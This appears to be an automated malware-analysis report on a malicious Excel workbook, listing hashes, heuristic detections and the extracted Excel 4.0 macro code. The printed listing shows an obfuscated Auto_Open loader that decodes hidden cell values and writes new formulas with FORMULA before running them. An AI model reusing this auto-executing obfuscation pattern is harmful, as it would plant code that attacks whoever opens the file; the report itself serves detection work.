Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3e61b6a9697c2099…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:46:31 Authoring application: Microsoft Excel First seen: 2021-03-01
MD5: 7be7a30a9f9800ae8d6dffd95e773f27 SHA-1: 15b8cd577e3663274754fc3dc0899bc4828a0933 SHA-256: 3e61b6a9697c209952342ac1118fdc9492f06b515b54337cf3583816e91667ad
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6593 bytes
SHA-256: 23abd4b153793b7bb33681c1e958389cc70bdc8fe5f41289ed410ff7e1fb28c3
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  KPcWvT
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G144 
' 0018     20 LABEL : Cell Value, String Constant - BdzIO len=0 
' 0018     22 LABEL : Cell Value, String Constant - bQEpkPd len=0 
' 0018     20 LABEL : Cell Value, String Constant - EjdLz len=0 
' 0018     25 LABEL : Cell Value, String Constant - gNEHBYpiMx len=0 
' 0018     23 LABEL : Cell Value, String Constant - IJMjlUBf len=0 
' 0018     23 LABEL : Cell Value, String Constant - ijrVfwVo len=0 
' 0018     26 LABEL : Cell Value, String Constant - kXHvQXofesq len=0 
' 0018     23 LABEL : Cell Value, String Constant - mEpnYeCA len=0 
' 0018     27 LABEL : Cell Value, String Constant - nAONJFKWvNSh len=0 
' 0018     24 LABEL : Cell Value, String Constant - nbEQIPdJT len=0 
' 0018     24 LABEL : Cell Value, String Constant - ptYxMqtkf len=0 
' 0018     23 LABEL : Cell Value, String Constant - rHWHjTWY len=0 
' 0018     24 LABEL : Cell Value, String Constant - rZcXDBicO len=0 
' 0018     24 LABEL : Cell Value, String Constant - sQtvSqcwh len=0 
' 0018     20 LABEL : Cell Value, String Constant - ujveH len=0 
' 0018     26 LABEL : Cell Value, String Constant - UPaCBPUAkcX len=0 
' 0018     27 LABEL : Cell Value, String Constant - VCeuetlFLBJF len=0 
' 0018     27 LABEL : Cell Value, String Constant - vZbALKATIcxv len=0 
' 0018     26 LABEL : Cell Value, String Constant - XPWNVqqqFlD len=0 
' 0018     22 LABEL : Cell Value, String Constant - ypFZuYk len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  KPcWvT,G46,"SET.NAME("EjdLz",VALUE("0"))",""
'  KPcWvT,G50,"SET.NAME("nAONJFKWvNSh",EjdLz)",""
'  KPcWvT,G55,"SET.NAME("BdzIO",EjdLz)",""
'  KPcWvT,G60,"SET.NAME("XPWNVqqqFlD",COUNTA(UPaCBPUAkcX))",""
'  KPcWvT,G64,"SET.NAME("IJMjlUBf",COUNTA(nbEQIPdJT))",""
'  KPcWvT,G69,[],""
'  KPcWvT,G74,"SET.NAME("ptYxMqtkf","")",""
'  KPcWvT,G79,"nAONJFKWvNSh",""
'  KPcWvT,G82,"SET.NAME("gNEHBYpiMx",HLOOKUP("*",UPaCBPUAkcX,nAONJFKWvNSh,FALSE))",""
'  KPcWvT,G86,"ujveH",""
'  KPcWvT,G89,"SET.NAME("ypFZuYk",EjdLz)",""
'  KPcWvT,G91,[],""
'  KPcWvT,G94,"ypFZuYk",""
'  KPcWvT,G96,"ijrVfwVo",""
'  KPcWvT,G99,"rZcXDBicO",""
'  KPcWvT,G102,"mEpnYeCA",""
'  KPcWvT,G107,"SET.NAME("kXHvQXofesq",VALUE(HLOOKUP("*",nbEQIPdJT,mEpnYeCA,FALSE)))",""
'  KPcWvT,G112,"VCeuetlFLBJF",""
'  KPcWvT,G116,"ptYxMqtkf",""
'  KPcWvT,G121,"BdzIO",""
'  KPcWvT,G124,NEXT(),""
'  KPcWvT,G129,"sQtvSqcwh",""
'  KPcWvT,G131,"SET.NAME("f",INT(T(FORMULA(T(ptYxMqtkf)&"",""&T(sQtvSqcwh)))))",""
'  KPcWvT,G136,"bQEpkPd",""
'  KPcWvT,G138,NEXT(),""
'  KPcWvT,G140,RETURN(),""
'  KPcWvT,G170,"SET.NAME("rHWHjTWY",G46)",""
'  KPcWvT,G175,"UPaCBPUAkcX",""
'  KPcWvT,G178,"SET.NAME("nbEQIPdJT",R85C14)",""
'  KPcWvT,G182,"SET.NAME("bQEpkPd",190)",""
'  KPcWvT,G185,"SET.NAME("vZbALKATIcxv",7)",""
'  KPcWvT,G189,rHWHjTWY(),""
'  KPcWvT,G190,HALT(),""